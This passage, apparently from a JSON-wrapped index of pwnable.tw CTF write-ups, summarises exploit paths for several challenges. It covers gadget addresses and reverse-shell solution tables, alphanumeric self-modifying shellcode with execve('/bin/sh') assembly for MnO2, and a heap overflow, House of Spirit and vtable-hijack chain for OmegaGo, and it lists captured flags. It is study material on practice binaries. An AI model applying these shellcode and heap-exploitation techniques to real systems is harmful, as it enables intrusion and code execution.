esp\nPUSH_ESP_RET = 0x080b8546 # push esp; ret\n\n# Key symbols\n__stack_prot = 0x080e9fec\n__libc_stack_end = 0x080e9fc8\n_dl_make_stack_executable = 0x0809a080\n_dl_make_stack_executable_hook = 0x080ea9f4\nmprotect = 0x0806dd40\n\n# Syscall\nINT_0x80 = 0x0806c825 # int 0x80\nSYSCALL = 0x0806f290 # int 0x80; ret (alternative)\n```\n\n## Getting the Flag\n\nThe flag file `/home/flag/I_am_fl4g` is not world-readable. A setuid helper `/home/flag/get_flag` reads a path from stdin, compares it to `\"./I_am_fl4g\"`, and prints the flag:\n\n```bash\ncd /home/flag && echo ./I_am_fl4g | ./get_flag\n# → \"Here is your flag: FLAG{Ar3_y0u_k1dd1ng_m3}\"\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `8.md` | A | `_dl_make_stack_executable` + 2-stage reverse shell | Clean two-script approach |\n| `14.md` | C | Pure ROP socket+connect+read; stage-2 is ROP `execve` | No shellcode in stage-1 |\n| `59.md` | A | `_dl_make_stack_executable` + reverse shell + bash 2nd shell | Uses `ebp` = `/bin` trick |\n| `81.md` | A | `_dl_make_stack_executable` + stage-1+2 | Standard two-listener setup |\n| `186.md` | A | `_dl_make_stack_executable` + single-stage `execve` | stdin-only reverse shell + bash for stdout |\n| `278.md` | A (Ruby) | `or [eax-7], ebp` gadget to set `__stack_prot` | Unusual gadget choice; `exec >&0` for stdout |\n| `363.md` | B | `mprotect` on BSS + `rep movsd` copy + reverse shell | Copies shellcode to BSS page |\n| `370.md` | A | `_dl_make_stack_executable` + connect-back + return to main | Two-stage: stage-1 returns to main for 2nd payload |\n| `550.md` | A | `_dl_make_stack_executable` + `dup2` + `connect` + `execve` | All in one stage, port 512 trick |\n| `664.md` | B | `mprotect` on stack + socketcall via `stosd` gadget | Stores sockaddr at runtime via `stosd` |\n| `821.md` | A | `_dl_make_stack_executable` + connect-back + `dup2(0,1)` via syscall 0x167/0x16a | Uses direct socket syscalls |\n| `1074.md` | C + A | Stage-1: ROP `socket+connect+read`; stage-2: ROP chain with `dup2+execve` | Pure ROP both stages |\n| `1351.md` | A | Standard `_dl_make_stack_executable` | Clean minimal script |\n| `1986.md` | A | `_dl_make_stack_executable` + `read(esp)` + stage-2 | Two-stage, second reads via socket |\n| `3498.md` | A | `_dl_make_stack_executable` + `pop dword [ecx]` gadget | Uses `pop dword [ecx]; ret` to write `__stack_prot` |\n| `6247.md` | B | `mprotect` BSS + `strcpy` + `add esi, ecx; jmp ebx` pivot | Copies shellcode to BSS via strcpy chain |\n| `7905.md` | A | Standard + `push esp; ret` variant | Clean two-file exploit |\n| `10128.md` | A | `mov eax, 7` gadget + `push esp; ret` | Byte-saving `mov eax, 7` immediate |\n| `13204.md` | D | `_dl_make_stack_executable_hook` increment | Saves ROP bytes via hook indirection |\n| `21778.md` | D | Hook increment + `dup2` in stage-1 | Same hook trick, slightly different shellcode |\n| `29544.md` | A | Standard + direct `sys_socket`/`sys_connect` syscalls | Uses newer syscall numbers |\n| `35463.md` | E | `mprotect` + `sys_socket`/`sys_connect` direct syscalls | DNS resolve for tunnel hostname |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (stdlib sockets, bore tunnel) |\n| `desc.txt` | Challenge description |\n| `artifacts/` | Original challenge binary |\n| `tools/` | Bore tunnel client binary |\n| `solution/*.md` | Community write-ups (67 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13633,"content_sha256":"4e80b24c57ebb6a4d948ca304afc1be16dd86ac50a0dcfb4f81d03d3645c32c3"},{"filename":"pwnable-tw/mno2.md","content":"---\ntags:\n - alpha-shellcode\n - seccomp-bypass\nplatform: pwnable.tw\npoints: 300\narch: i386\nlibc: static\nrelro: partial\ncanary: no\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Alphanumeric shellcode execution in a fixed RWX memory region under seccomp restrictions, using self-modifying code to craft syscall instructions.\"\nproof-of-concept: no\n---\n\n# MnO2 — pwnable.tw (300 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10301`\n>\n> Flag: `FLAG{4(7|-||>4|_||\\||>|>|_|4|\\/|(|\\/|b|\u003c(|=35|=|\\/||\\/|d|\\|0|_.-}`\n\n## Challenge Overview\n\nA 32-bit Linux binary that reads user input with `scanf(\"%s\")` into a fixed RWX `mmap`'d region at `0x324F6E4D` (\"MnO2\" in little-endian ASCII). A validation function `check()` then verifies that the input is a **valid chemical formula** — every byte must be alphanumeric, and the string must tokenize as a sequence of real periodic-table element symbols (uppercase letter, optional lowercase, optional digits). If the check passes, the program does `call eax` where `eax` points to the buffer — executing the input as **shellcode**.\n\nThe core challenge: write **alphanumeric shellcode that is simultaneously a valid chemical formula**.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled (but mmap region is RWX)\n PIE: No PIE\n```\n\n### Register State at `call eax`\n\n```text\nEAX = 0x324F6E4D (buffer address, also shellcode entry point)\nEBX = 0x00000000\nECX = 0x00000000 (or ptr to element table, varies by libc)\nEDX = 0x080489cc (or similar code pointer)\nESI = libc GOT (e.g. 0xf7faf000)\nEDI = libc GOT (same as ESI)\n```\n\n## Vulnerability\n\n### V1 — Direct Shellcode Execution on RWX Page (Constrained)\n\n**Root Cause:** `main()` mmaps a fixed RWX region, reads user input into it, validates the formula, then jumps to it. There is no W^X enforcement on the mmap'd buffer — if you pass the chemical formula validator, your input runs as native x86 code.\n\n**Constraint:** Every byte must be alphanumeric (`[0-9A-Za-z]`) AND must parse as a valid sequence of element symbols from the periodic table (H, He, Li, Be, B, C, N, O, F, Ne, Na, ..., Lv) with optional trailing digits.\n\nThis means the usable instruction set is severely restricted to what alphanumeric bytes encode in x86:\n\n## Usable Instruction Set\n\n### Single-byte Elements (direct x86 opcodes)\n\n| Element | Hex | x86 Instruction |\n|---------|-----|-----------------|\n| `H` | `0x48` | `dec eax` |\n| `B` | `0x42` | `inc edx` |\n| `C` | `0x43` | `inc ebx` |\n| `N` | `0x4E` | `dec esi` |\n| `O` | `0x4F` | `dec edi` |\n| `F` | `0x46` | `inc esi` |\n| `P` | `0x50` | `push eax` |\n| `S` | `0x53` | `push ebx` |\n| `K` | `0x4B` | `dec ebx` |\n| `V` | `0x56` | `push esi` |\n| `W` | `0x57` | `push edi` |\n| `U` | `0x55` | `push ebp` |\n| `Y` | `0x59` | `pop ecx` |\n| `I` | `0x49` | `dec ecx` |\n\n### Two-byte Elements (multi-byte gadgets)\n\n| Element | Bytes | Effect |\n|---------|-------|--------|\n| `Xe` | `0x58 0x65` | `pop eax; gs` (prefix) |\n| `Na` | `0x4E 0x61` | `dec esi; popad` |\n| `Ba` | `0x42 0x61` | `inc edx; popad` |\n| `Ca` | `0x43 0x61` | `inc ebx; popad` |\n| `Bh` | `0x42 0x68` | `inc edx; push imm32` |\n| `Th` | `0x54 0x68` | `push esp; push imm32` |\n| `Rh` | `0x52 0x68` | `push edx; push imm32` |\n| `Re` | `0x52 0x65` | `push edx; gs` (prefix) |\n| `Zr` | `0x5A 0x72` | `pop edx; jb` (short jump, often falls through) |\n| `Ar` | `0x41 0x72` | `inc ecx; jb` (short jump) |\n| `Ag` | `0x41 0x67` | `inc ecx; addr16` (prefix) |\n\n### Digit-pair Gadgets (number suffixes that form instructions)\n\n| Digits | Bytes | x86 Instruction |\n|--------|-------|-----------------|\n| `10` | `0x31 0x30` | `xor [eax], esi` |\n| `11` | `0x31 0x31` | `xor [ecx], esi` |\n| `12` | `0x31 0x32` | `xor [edx], esi` |\n| `01` | `0x30 0x31` | `xor [ecx], dh` |\n| `30` | `0x33 0x30` | `xor esi, [eax]` |\n| `32` | `0x33 0x32` | `xor esi, [edx]` |\n| `41`–`49` | `0x34 0x3N` | `xor al, imm8` |\n| `50000` | `0x35 ...` | `xor eax, imm32` |\n\n## Exploit Paths\n\nAll solutions must produce shellcode that passes the chemical formula validator. Since `int 0x80` (`\\xcd\\x80`) and `/bin/sh` are not alphanumeric, every approach uses **self-modifying code** or a **two-stage strategy**. The solutions fall into several categories:\n\n---\n\n### Path A — Two-Stage: Alphanumeric `read()` Stub → Unconstrained Stage 2 (Most Common)\n\n**Used by:** Solutions 59, 378, 799, 1074, 1155, 1236, 1303, 1395, 2972, 3480, 3578, 7641, 8410, 15989, 21490, 31599, and exp.py\n\n**Concept:** Stage 1 (the formula) is a self-modifying decoder that:\n1. Patches `int 0x80` (`\\xcd\\x80`) into itself at a known offset using XOR operations\n2. Sets up registers for `read(0, buf, big_count)` — `eax=3, ebx=0, ecx=buf, edx=large`\n3. Falls through a NOP sled (e.g., `N` = `dec esi`, `O` = `dec edi`, `B` = `inc edx`) to the patched `int 0x80`\n4. Stage 2 (unconstrained binary) is read in, overwriting the buffer, then executes standard `execve(\"/bin/sh\")` shellcode\n\n**Key Techniques for Patching `int 0x80`:**\n\n- **XOR with ESI/EDI:** Zero out ESI via `popad` or self-XOR, then build the target value. Use `xor [ecx], esi` (digit `11`) or `xor [eax], esi` (digit `10`) to write arbitrary bytes.\n- **XOR with DH:** Use `xor [ecx], dh` (digit `01`) for byte-level writes after loading DH via `push`/`pop` sequences.\n- **XOR with AL:** Use `xor al, imm8` (digit `4N`) combined with `xor [ecx+offset], al` to patch memory.\n- **Placeholder bytes:** Place `2O` (= `0x32 0x4F`) at a known offset, then XOR it with the right value to produce `0xCD 0x80`.\n\n**Setting EAX=3 (SYS_read):**\n- `5MnO2` = `xor eax, 0x324F6E4D` → zeroes EAX (since EAX already holds `0x324F6E4D`)\n- Then `xor al, 0x31; xor al, 0x32` → `al = 3`\n- Or: push 3 via `inc ebx*3; push ebx; pop eax; Xe; dec ebx*3`\n\n**Setting EBX=0 (fd=stdin):**\n- `popad` (`Na`, `Ba`, `Ca`) pops 8 registers from stack; pre-push zeroes to get `ebx=0`\n- Or EBX is already 0 at entry\n\n**Setting ECX (buffer address):**\n- `push eax; pop ecx` (`PY`) since EAX = buffer address\n\n**Stage 2:** Standard NOP sled + `execve(\"/bin/sh\")`:\n```nasm\nxor eax, eax\npush eax\npush 0x68732f2f ; \"//sh\"\npush 0x6e69622f ; \"/bin\"\nmov ebx, esp\npush eax\npush ebx\nmov ecx, esp\ncdq ; edx = 0\nmov al, 0xb\nint 0x80\n```\n\n**Example minimal formula (solution 1155):**\n```text\nPYKSXe4N410AcISXe420AcCCCCSXeKKKBBBBBBAu9\n```\n\n---\n\n### Path B — Single-Stage: Write Entire `execve` In-Place via XOR Loops\n\n**Used by:** Solutions 786, 2233, 8153\n\n**Concept:** Instead of calling `read()`, patch the **entire** `execve(\"/bin/sh\")` shellcode byte-by-byte into memory using XOR gadgets. This avoids needing a second `send()`.\n\n**Technique:** For each shellcode byte:\n1. `inc esi` (`F`) the required number of times to set ESI to the target byte\n2. `xor [ecx], esi` (`11`) to write it\n3. `dec esi` (`N`) to reset, `inc ecx` (`Ar`) to advance\n\nSolution 786 literally does `inc esi * ord(c); xor; dec esi * ord(c); xor; inc ecx` for each byte of the shellcode. This produces an enormous payload but works in a single stage.\n\nSolution 8153 is similar, using a detailed byte-by-byte approach to construct `/bin/sh` in ESI/EDI registers via triple-XOR patterns, construct `int 0x80` via memory XOR, then set up `popad` to load all registers and execute the syscall.\n\n**Downside:** Payloads can be thousands of bytes long (up to ~31337, the stated limit).\n\n---\n\n### Path C — Build ROP Chain + `ret` via Self-Modification\n\n**Used by:** Solutions 408, 823\n\n**Concept:** Instead of directly executing shellcode, construct a `ret` instruction (`0xC3`) via XOR at the end of the formula. Meanwhile, push a ROP chain (or a `scanf` call) onto the stack. When execution reaches the patched `ret`, it returns into the ROP chain.\n\n**Solution 408 specifics:**\n1. Use `popad` to load controlled values into registers\n2. Compute `scanf`'s PLT address via `dec eax` + `xor eax, imm32` sequences\n3. Push `scanf(format=\"%s\", buf=rwx_addr)` frame onto the stack\n4. Patch a `ret` (`0xC3 = 0x46 ^ 0x85`) by XOR-writing to the end of the payload\n5. `ret` → `scanf` reads unconstrained stage 2 → `execve`\n\n**Solution 823 specifics:**\n1. Use the GOT address (already in EDI at entry) as a base\n2. `dec ebx` + `xor [edx], bl` in a loop to subtract from the GOT pointer until it points to a one-gadget in libc\n3. Patch `ret` via XOR with ESI, push the computed one-gadget address, and `ret` into it\n\n---\n\n### Path D — Forge `int 0x80` + Build `/bin/sh` Entirely In Registers\n\n**Used by:** Solution 8153 (the 2-day marathon solution), 2233\n\n**Concept:** Never call `read()` or `scanf`. Instead, construct the entire `execve(\"/bin/sh\", argv, NULL)` syscall using only formula-valid instructions:\n1. Build `/bin/sh\\0` in memory via XOR chains (using ESI/EDI to hold partial values, XOR to stack-pushed constants, then write via `xor [addr], reg`)\n2. Set EBX → pointer to `/bin/sh`, ECX=0, EDX=0, EAX=0xb\n3. Construct `int 0x80` at a known address using the same XOR technique\n4. Fall through or jump to it\n\nThis is the hardest and most tedious path but requires only a single payload.\n\n## Exploit Primitive Summary\n\n| Primitive | Technique | Notes |\n|-----------|-----------|-------|\n| Zero EAX | `5MnO2` (xor eax, 0x324f6e4d) | EAX already holds this value |\n| Zero ESI/EDI | `popad` with pushed zeroes | Or XOR with memory: `30` = `xor esi, [eax]` |\n| Zero EBX | Already 0 at entry, or `popad` | |\n| Set EAX=3 | XOR sequences: `41` `42` etc. | `xor al, 0x31; xor al, 0x32` = 3 |\n| Set ECX=buf | `PY` (push eax; pop ecx) | EAX = buf at entry |\n| Write arbitrary byte | XOR: `inc esi*N; xor [ecx],esi; dec esi*N` | Slow but universal |\n| Push imm32 | `Bh`, `Th`, `Rh` + 4 alphanum bytes | Element prefix + 4 bytes |\n| Patch `int 0x80` | XOR `0x324F` or `0x3131` → `0xCD80` | Various XOR key combos |\n| NOP sled | `N` (dec esi), `O` (dec edi), `B` (inc edx), `F` (inc esi) | Harmless single-byte elements |\n| `popad` | `Na`, `Ba`, `Ca` | Load 8 registers from stack |\n\n## Key Offsets\n\n```python\nBUF = 0x324F6E4D # Fixed mmap'd RWX buffer (= \"MnO2\" in LE)\nmmap_base = 0x324F6000 # mmap hint address\nscanf_plt = 0x08048420 # (binary-specific)\nelement_tbl = 0x08048890 # Periodic table strings in .rodata\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `59.md` | A | XOR-patch `int 0x80` via `[ecx+0x73]`; `push/pop` for eax=3 | Annotated ASM for each compound |\n| `378.md` | A | Compact formula; XOR to build `int 0x80` | Short payload |\n| `408.md` | C | Build ROP for `scanf()`; patch `ret` via XOR | Elegant stack-pivot approach |\n| `751.md` | B | Perl one-liner; `dec eax` + `xor [eax],esi` byte writer | Bash-only, no Python |\n| `755.md` | D | Massive XOR chains to build `/bin/sh` and `int 0x80` in-place | 2048+ byte single-stage |\n| `786.md` | B | `inc esi*N; xor; dec esi*N` per byte of execve | Brute-force byte-by-byte |\n| `799.md` | A | `popad` zeroing + `xor` to patch; clean minimal | |\n| `823.md` | C | GOT-relative one_gadget; spray `dec ebx` + XOR loop | libc-dependent |\n| `1074.md` | A | Self-modify; patch `int 0x80` and `/bin/sh` | Compact |\n| `1155.md` | A | Minimal: XOR [eax+0x65] to patch; `call read` in 43 bytes | Shortest known formula |\n| `1236.md` | A | `popad` + XOR via `Rh` pushes | Clean register setup |\n| `1303.md` | A | `Rh` push + `xor [eax],dh` for patching | |\n| `1395.md` | A | `5MnO2` to zero EAX; `popad` for register setup | Minimal and clean |\n| `2121.md` | A | XOR `[eax+0x65]` with ecx; push/pop for eax=3 | |\n| `2233.md` | A | `xor dword ptr [eax+0x50],edx` + xor chain | Uses `[eax+imm]` indexing |\n| `2972.md` | A | `inc ecx` via `At0`; `xor [esi+0x34], ecx` byte writer | Long but methodical |\n| `3480.md` | A | Compact: `5MnO2` zero + `Ag` inc_ecx | |\n| `3578.md` | A | `xor [ecx+ebp*2+offset]` indexed writes | Uses EBP as index |\n| `6247.md` | A | `pop edx` via `Zr`; `push val` via `Bh` | |\n| `7641.md` | A | `xor [eax+0x65], al` + `Hf` prefix writes | |\n| `8153.md` | D | Full single-stage: build `/bin/sh` in ESI/EDI, forge `int 0x80` | 2-day effort; 370+ lines |\n| `8410.md` | A | `xor [eax+0x65],ecx` with `Th` pushes | |\n| `15989.md` | A | `Si2` xor gadgets; padding with `O` NOPs | |\n| `21490.md` | A | `xor esi,[eax]` then `xor [ecx],esi` chain | Full ASM gadget table |\n| `31599.md` | A | `1He` xor + `Ag` inc_ecx + `ThK111` push | Compact with XOR tricks |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working two-stage exploit (formula → `read()` → `execve`) |\n| `desc.txt` | Challenge description |\n| `artifacts/mno2` | Original challenge binary (i386, stripped) |\n| `solution/*.md` | Community write-ups (72 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12799,"content_sha256":"8b3dbcb57a8485d8e1a2f4b5a38b826c8b6d504c0658c9d8608beb9a1ad21bbe"},{"filename":"pwnable-tw/omegago.md","content":"---\ntags:\n - type-confusion\n - out-of-bounds-write\n - got-overwrite\nplatform: pwnable.tw\npoints: 600\narch: x86-64\nlibc: glibc-2.23\nrelro: partial\ncanary: no\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"Coordinate encoding confusion on the Go board permits out-of-bounds array indexing, enabling arbitrary GOT overwrite to hijack program execution.\"\nproof-of-concept: no\n---\n\n# OmegaGo — pwnable.tw (600 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10405`\n>\n> Flag: `FLAG{now_you_can_try_to_fight_with_AlphaGo~}`\n\n## Challenge Overview\n\nA simplified Go game (19x19 board) binary (x86-64, No PIE, Partial RELRO, NX, No Canary) linked against glibc 2.23. The player plays black stones (`X`) against an AI opponent (`O`). The game supports commands: coordinate moves (e.g. `D19`), `regret` (undo last move pair), and `surrender`. The board state is stored as a 2-bit-per-cell bitmap in BSS, and a **history array** records pointers to heap-allocated board snapshots for each move.\n\n```bash\nfile ./omegago\n ELF 64-bit LSB executable, x86-64, dynamically linked, stripped\n\nchecksec:\n Arch: amd64-64-little\n RELRO: Partial RELRO # GOT writable\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\n```\n\n## Key Data Structures\n\n### Board Bitmap (BSS `g_cur_state`, ~0x609FC0)\n\nThe 19x19 board is encoded as a 2-bit-per-cell bitmap (12 qwords):\n\n| 2-bit value | Display | Meaning |\n|-------------|---------|---------|\n| `0b00` | `.` | Empty |\n| `0b01` | `O` | White (AI) |\n| `0b10` | `X` | Black (Player) |\n| `0b11` | `\\x00` | (Invalid/leak marker) |\n\nEach qword encodes 32 cells. The board is 361 cells = 11.28 qwords, stored as 12 qwords (the last partially used).\n\n### History Array (BSS `g_history`, ~0x609460)\n\nA fixed-size array of pointers to heap-allocated board snapshots. Each move (player + AI response = 2 entries) pushes a new snapshot pointer. The array has capacity for **364 entries** (182 move pairs), but there is **no bounds check**.\n\n### AI Player Object (Heap, 0x10 bytes)\n\nThe AI player is a C++ object allocated via `new` (fastbin 0x20 chunk). Its first field is a **vtable pointer**. When the AI makes a move, a virtual function is called through this vtable.\n\n### Input Buffer (BSS `g_input`, 0x60943C)\n\nThe player's coordinate input is read via `scanf(\"%10s\", g_input)` into a fixed BSS buffer at `0x60943C`. The effective usable address (after the 4-byte coordinate prefix) is `0x609440`.\n\n## Vulnerabilities\n\n### V1 — History Array Overflow (Primary, Exploitable)\n\n**Root Cause:** The history array at `g_history` (~0x609460) has space for 364 pointers, but the code never checks the index against this limit. By exploiting Go's **ko rule** (repeated capture cycles), a player can generate far more than 182 move pairs in a single game, causing the history pointer writes to overflow past the array into the adjacent **`g_cur_state` board bitmap**.\n\n```text\nBSS layout:\n 0x609460: g_history[0..363] (364 × 8 = 0xB60 bytes)\n 0x609FC0: g_cur_state (board bitmap, 12 qwords)\n```\n\nWhen `history_count > 364`, new history entries overwrite `g_cur_state.bitmap[0]`, `bitmap[1]`, etc. Since history entries are **heap pointers**, the board bitmap now contains heap addresses that can be **read back** by viewing the board.\n\n**Impact:**\n- **Heap pointer leak**: The overwritten bitmap cells display as board characters, which can be decoded back to the 2-bit representation and reassembled into the original pointer value.\n- **Controlled pointer manipulation**: A single additional move changes the pointer by a predictable delta (e.g., +0x80 per move). Combined with `regret`, this creates an arbitrary-address-read primitive.\n\n### V2 — Regret Dereferences Corrupted History Pointer (Exploitable)\n\n**Root Cause:** The `regret` command undoes the last move by loading the board from `g_history[last]`. If the history has overflowed and `g_history[last]` now points to an attacker-controlled address (via V1), `regret` loads arbitrary heap/memory contents into the displayed board.\n\n```python\nregret flow:\n 1. Remove last 2 history entries\n 2. Copy board from g_history[new_last] into g_cur_state\n 3. Display the new board to the player\n```\n\n**Impact:** By first modifying the overflowed pointer (via one more move that shifts it by a known offset) and then calling `regret`, the player can **read arbitrary memory** — the board displays the memory at the pointer's target as 2-bit-encoded cells.\n\n### V3 — Fake Fastbin via Board State (House of Spirit)\n\n**Root Cause:** The board state is stored on the heap (as part of history snapshots). Since the player controls which cells are `X` (0b10), `O` (0b01), or `.` (0b00), they can encode arbitrary 2-bit patterns into the board. Crucially, a board state containing `..X.....` at the right offset encodes the value `0x20` — a valid fastbin chunk size header.\n\nBy encoding two `0x21` size fields at appropriate qword offsets in the board and then arranging for `surrender` to free a pointer that lands in this region, the player creates a **fake fastbin chunk** on the heap.\n\n**Impact:** The next `new` allocation for an AI Player object (size 0x10, fastbin 0x20) returns the fake chunk, which overlaps with a board state the player can later overwrite.\n\n### V4 — Input Buffer as Vtable (Code Execution)\n\n**Root Cause:** The BSS input buffer `g_input` at `0x609440` (No PIE, fixed address) can hold attacker-controlled data from `scanf`. If the AI Player object's vtable pointer is overwritten to point to `0x609440`, the next virtual call dereferences `*(0x609440)` as a function pointer.\n\n**Impact:** By encoding `0x609440` into the board bitmap (using specific stone placements that produce this value in 2-bit encoding), and having the overflow reach the AI object's vtable field, the player controls the virtual function pointer. Sending a move like `\"D1\\x00\\x00\" + p64(one_gadget)` places a one_gadget address at `0x609440`, and the next AI virtual call jumps to it → shell.\n\n## Exploit Paths\n\n### Path A — History Overflow → Leak → House of Spirit → Vtable Hijack (Most Common)\n\n**Used by:** Solutions 59, 821, 2121, 5586, 6247, 6748, 8153, 11954, 14523, 22319, 34817\n\n**Steps:**\n\n1. **Heap Alignment:** Surrender 1-2 times to align the heap layout so that history pointers have favorable low bytes (no `0b11` pairs, which cannot be represented on the board).\n\n2. **Overflow History for Leaks:**\n - Fill the board using ko-rule cycles (alternating captures at fixed positions) to generate ~365+ history entries.\n - When history[364] overwrites `g_cur_state.bitmap[0]`, a **heap pointer** appears on the board → **heap leak**.\n - Make one more move (e.g., `D19`) to shift the pointer by `+0x80`.\n - Call `regret` → the board is now loaded from `*(shifted_pointer)`, which points to a region containing a **libc address** (e.g., `main_arena` or `_IO_wfile_jumps`) → **libc leak**.\n\n3. **Create Fake Fastbin Chunk:**\n - Surrender and restart. Surrender 4-6 more times to align the heap.\n - In a new game, place stones to encode `0x21` size fields at two qword-aligned positions in the board (e.g., `R8` → encodes 0x20 at the right bit position; `D12` → second size field).\n - Overflow history again, using the overflow to make a history pointer point to the fake chunk region.\n - Surrender → the fake chunk is freed into fastbin(0x20).\n\n4. **Allocate AI Object in Fake Chunk:**\n - Start a new game. The AI Player `new` call allocates from fastbin(0x20), landing in the previously freed fake chunk.\n - This fake chunk lies within a board state bitmap that the player will later overwrite.\n\n5. **Overwrite Vtable:**\n - Place stones to encode `0x609440` (the BSS input buffer address) at the qword offset that overlaps the AI object's vtable field.\n - Fill the board to trigger the overflow, positioning the encoded address over the vtable.\n\n6. **Trigger One-Gadget:**\n - Send a move command with appended binary data: `\"F8\\x00\\x00\" + p64(one_gadget)` or similar. The coordinate part is parsed as a move, while the trailing bytes write the one_gadget address into the input buffer at `0x609440`.\n - The AI's next virtual call dereferences `g_input` → `one_gadget` → shell.\n\n**Reliability:** ~50-80% per attempt. Fails when heap addresses contain `0b11` bit-pairs (unrepresentable on the board). Most solutions retry in a loop.\n\n---\n\n### Path B — History Overflow → stdin Buffer Manipulation → Vtable Hijack\n\n**Used by:** Solution 2311\n\n**Variation:** Instead of encoding addresses on the board, this approach manipulates the **stdin buffer** on the heap. By sending long padded input during `surrender` prompts (e.g., `\"surrender\\0\".rjust(0x2e0, '\\n')`), the solver writes controlled data deep into the stdin buffer. This buffer lives on the heap at a predictable offset from the heap base.\n\n1. Overflow history to leak heap and set up a pointer to the stdin buffer region.\n2. Write fake chunk headers (`0x31` size) into the stdin buffer via padded `surrender`/`regret` commands.\n3. Free the fake chunk by arranging the history overflow pointer to target it.\n4. The AI object is allocated in the stdin buffer. Overwrite the vtable via further stdin writes.\n5. Use `setcontext+87` gadget for a more reliable `execve(\"/bin/sh\")` instead of one_gadget.\n\n---\n\n### Path C — History Overflow → House of Orange\n\n**Used by:** Solution 26957\n\n**Variation:** Instead of fastbin manipulation, this approach uses the **House of Orange** technique:\n\n1. Leak heap and libc via history overflow + regret (same as Path A).\n2. Write a fake `0x1a1`-sized chunk header into the stdin buffer via padded commands.\n3. Free the fake chunk into the unsorted bin (it's too large for fastbin).\n4. Corrupt the unsorted bin to perform an unsorted bin attack, overwriting `_IO_list_all`.\n5. Forge a fake `_IO_FILE` struct with a vtable pointing to `system`, triggered on the next `malloc` error path.\n\n---\n\n### Path D — Ko Cycles + Fill Strategy (Mirror Go Variant)\n\n**Used by:** Solutions 59, 8153\n\n**Variation:** These solutions use a **\"mirror Go\"** strategy to efficiently fill the board. By playing at symmetric positions, the AI's responses are predictable (it mirrors the player). This avoids the need for complex ko setups and reliably generates the required number of moves to overflow.\n\nPre-computed move sequences are stored in external files (`mirror1`, `super_mirror`, `super_mirror2`) and replayed to achieve exact control over the board state and overflow count.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| History array overflow | V1: No bounds check on history index | Deterministic |\n| Heap pointer leak | V1: Overflowed pointer displayed as board | Deterministic |\n| libc leak | V1+V2: Regret loads arbitrary memory to board | Deterministic |\n| Fake fastbin chunk | V3: Board bitmap encodes 0x21 chunk header | Deterministic |\n| Vtable hijack | V4: AI object allocated in controlled region | After successful alignment |\n| Code execution | One-gadget/setcontext via vtable call | Deterministic after vtable control |\n\n## Encoding Constraint\n\nThe board can only represent 2-bit values 0, 1, 2 per cell. Value 3 (`0b11`) displays as `\\x00` and **cannot be placed by the player** (only `X`=2 or `O`=1 via AI mirror). This means any address or value to be encoded on the board must not contain any `0b11` pairs in its 2-bit decomposition. This is the primary source of exploit unreliability — if the heap base has such pairs, the attempt must be retried.\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n# BSS addresses (No PIE)\ng_input = 0x60943C # scanf input buffer\ng_input_plus4 = 0x609440 # usable vtable target\ng_history = 0x609460 # history array start\ng_cur_state = 0x609FC0 # board bitmap start\n\n# libc offsets\nmain_arena+88 = 0x3c3b78 # unsorted bin leak marker\none_gadgets = [0xf0567, 0xf1247, 0x4527a]\nsystem = 0x45390\nsetcontext+87 = ... # for setcontext-based exploits\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `59.md` | A (mirror) | Mirror Go + fake fastbin + vtable | Uses external move files; detailed game strategy |\n| `821.md` | A | Ko overflow + regret leak + fastbin | Clean writeup with encoding helpers |\n| `2121.md` | A | Fill board + leak + fastbin | Concise; direct fill approach |\n| `2311.md` | B | stdin buffer manipulation + setcontext | Alternative to board encoding; also has one_gadget variant |\n| `2972.md` | A | Ko + regret + fake chunk | Detailed bug description |\n| `5586.md` | A | Fill + regret + House of Spirit | Two exploit scripts (one_gadget + setcontext variants) |\n| `6247.md` | A | Fill rows + encode address | Simple and clean implementation |\n| `6748.md` | A | Ko-based overflow with Pos class | Well-structured OOP approach |\n| `8153.md` | A (mirror) | Mirror Go automation | Extensive oracle/mirror strategy; very long exploit |\n| `11954.md` | A | Direct fill + stdin padding | Uses stdin buffer for fake chunk headers |\n| `14523.md` | A | Ko cycles + encode | Direct implementation |\n| `22319.md` | A | Fill + overflow + vtable | Clear step-by-step with comments |\n| `26957.md` | C | House of Orange | Uses unsorted bin attack + fake _IO_FILE |\n| `34817.md` | A | Ko + fill + vtable | Clean final exploit with DECODE helper |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script |\n| `desc.txt` | Challenge description |\n| `flag.txt` | Captured flag |\n| `artifacts/omegago` | Challenge binary (stripped ELF x86-64) |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `solution/*.md` | Community write-ups (14 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13878,"content_sha256":"a8e6c067cb6c68acbcb4b61601634265713a4fab0980cb87228e3d973e32d15d"},{"filename":"pwnable-tw/orw.md","content":"---\ntags:\n - shellcode\n - seccomp-bypass\nplatform: pwnable.tw\npoints: 100\narch: i386\nlibc: static\nrelro: partial\ncanary: yes\nnx: no\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A fixed RWX BSS buffer executes user shellcode restricted by a seccomp filter to open, read, and write syscalls to read the flag file.\"\nproof-of-concept: no\n---\n\n# orw — pwnable.tw (100 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10001`\n>\n> Flag: `FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}`\n\n## Challenge Overview\n\nA minimal i386 